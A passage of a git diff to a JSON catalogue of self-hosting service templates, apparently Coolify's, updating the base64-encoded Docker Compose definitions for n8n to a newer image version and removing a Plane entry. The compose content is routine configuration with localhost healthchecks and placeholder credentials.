ZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEwLjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuLXdvcmtlcjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "n8n", "workflow", @@ -2922,7 +2905,7 @@ "n8n-with-postgresql": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdXRUJIT09LX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbjhufScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUPSR7TjhOX1JVTk5FUlNfQVVUT19TSFVURE9XTl9USU1FT1VUOi0xNX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIG44bgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1NjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "n8n", "workflow", @@ -2940,7 +2923,7 @@ "n8n": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdXRUJIT09LX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0RCX1NRTElURV9QT09MX1NJWkU9JHtEQl9TUUxJVEVfUE9PTF9TSVpFOi0yfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuOjU2Nzl9JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSR7U0VSVklDRV9QQVNTV09SRF9OOE59JwogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtICdEQl9TUUxJVEVfUE9PTF9TSVpFPSR7REJfU1FMSVRFX1BPT0xfU0laRTotMn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSAnTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0ke1NFUlZJQ0VfUEFTU1dPUkRfTjhOfScKICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgdGFzay1ydW5uZXJzOgogICAgaW1hZ2U6ICduOG5pby9ydW5uZXJzOjIuMTAuMicKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG46NTY3OX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVEhfVE9LRU49JHtTRVJWSUNFX1BBU1NXT1JEX044Tn0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", "tags": [ "n8n", "workflow", @@ -3660,27 +3643,6 @@ "minversion": "0.0.0", "port": "80" }, - "plane": { - "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io", - "slogan": "The open source project management tool", - "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogIERFQlVHOiAnJHtERUJVRzotMH0nCiAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCnNlcnZpY2VzOgogIHByb3h5OgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLXByb3h5OiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBlbnZpcm9ubW